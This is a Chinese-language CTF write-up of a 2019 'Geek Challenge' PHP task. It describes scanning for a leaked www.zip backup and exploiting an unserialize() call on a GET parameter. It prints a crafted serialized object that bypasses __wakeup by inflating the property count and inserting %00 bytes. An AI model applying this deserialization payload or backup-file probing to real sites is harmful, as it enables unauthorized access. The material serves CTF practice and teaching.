极客大挑战2019 PHP1 序列化与反序列化

复现序列化的题目:

一.打开后发现作者提示会备份网站的源码,所以我们尝试扫描后台,看看有没有什么备份的文件。

可能是.bak,.zip,之类的。

二.经过扫描后台发现了WWW.zip的文件,下载下来。

三.发现有两个php文件有用

index.php
class.php

四.index文件中,存在:

include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);

以及class.php中存在的代码可以利用序列化和反序列化进行得到flag

五.分析代码

1.参数的传入通过index.php中的select进行操作。

2.Name类中username和password是保护类型,并且分别要是值为admin和100。

3.注意wakeup方法,要修改Name类的变量数量绕过。

4.直接构造,白给的序列化,很简单。

class Name
{
private $username = 'admin';
private $password = 100;
}
$a = new Name();
print_r(serialize($a));

结果:
O:4:”Name”:2:{s:14:” Name username”;s:5:”admin”;s:14:” Name password”;i:100;}
修改2为3,在空格的位置处加入%00
最终结果:
O:4:”Name”:3:{s:14:”%00Name%00username”;s:5:”admin”;s:14:”%00Name%00password”;i:100;}

5.成功!